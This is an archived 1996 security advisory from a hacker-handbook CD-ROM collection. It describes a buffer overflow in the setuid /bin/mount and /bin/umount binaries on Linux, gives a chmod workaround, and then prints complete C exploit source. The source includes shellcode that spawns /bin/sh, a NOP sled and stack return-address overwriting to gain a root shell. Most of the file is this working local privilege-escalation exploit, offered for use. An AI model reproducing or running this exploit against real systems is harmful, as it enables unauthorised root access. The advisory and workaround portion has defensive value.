home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / cvnmount.exploit < prev    next >
Encoding:
Text File  |  1998-10-15  |  3.0 KB  |  107 lines

  1. Covin Security Releases:
  2. (mount bufferoverflow exploit v1.0)
  3.  
  4. Tested operated systems: All current distributions of Linux
  5.  
  6. Affect: Local users on systems affected can gain overflow mounts syntax
  7. buffer and execute a shell by overwriting the stack.
  8.  
  9. Affected binaries:
  10. (/bin/mount and /bin/umount)
  11.  
  12. Workaround:
  13. On all current distributions of Linux remove suid bit of /bin/mount and
  14. /bin/umount.
  15. [chmod -s /bin/mount;chmod -s /bin/umount]
  16.  
  17. Remarks:
  18. For gods sake, how many more times are we gonna see this kind of problem?
  19. It's been with Linux since it's very beggining, and it's so easy to
  20. exploit. Similiar buffer overflow vulnerabilities have been found in
  21. Linux distributions many times before, splitvt, dip, just to name a few
  22. examples.
  23.  
  24.  
  25. Any remarks, notes or other forms of feedback may be redirected to:
  26. bloodmask@mymail.com
  27. <------------------------------[ Cut here ]---------------------------------->
  28.  
  29. /* Mount Exploit for Linux, Jul 30 1996
  30.  
  31. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  32. ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
  33. :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
  34. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
  35. ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  36. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  37. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  38. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  39. ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
  40. :::::::...........:::...........:::...........::.......:......:.......::::::
  41. :::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
  42.  
  43. Discovered and Coded by Bloodmask & Vio
  44. Covin Security 1996
  45. */
  46.  
  47. #include <unistd.h>
  48. #include <stdio.h>
  49. #include <stdlib.h>
  50. #include <fcntl.h>
  51. #include <sys/stat.h>
  52.  
  53. #define PATH_MOUNT "/bin/umount"
  54. #define BUFFER_SIZE 1024
  55. #define DEFAULT_OFFSET 50
  56.  
  57. u_long get_esp()
  58. {
  59.   __asm__("movl %esp, %eax");
  60.  
  61. }
  62.  
  63. main(int argc, char **argv)
  64. {
  65.   u_char execshell[] =
  66.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  67.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  68.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  69.  
  70.    char *buff = NULL;
  71.    unsigned long *addr_ptr = NULL;
  72.    char *ptr = NULL;
  73.  
  74.    int i;
  75.    int ofs = DEFAULT_OFFSET;
  76.  
  77.    buff = malloc(4096);
  78.    if(!buff)
  79.    {
  80.       printf("can't allocate memory\n");
  81.       exit(0);
  82.    }
  83.    ptr = buff;
  84.  
  85.    /* fill start of buffer with nops */
  86.  
  87.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  88.    ptr += BUFFER_SIZE-strlen(execshell);
  89.  
  90.    /* stick asm code into the buffer */
  91.  
  92.    for(i=0;i < strlen(execshell);i++)
  93.       *(ptr++) = execshell[i];
  94.  
  95.    addr_ptr = (long *)ptr;
  96.    for(i=0;i < (8/4);i++)
  97.       *(addr_ptr++) = get_esp() + ofs;
  98.    ptr = (char *)addr_ptr;
  99.    *ptr = 0;
  100.  
  101.    (void)alarm((u_int)0);
  102.    printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
  103.    execl(PATH_MOUNT, "mount", buff, NULL);
  104. }
  105.  
  106.  
  107.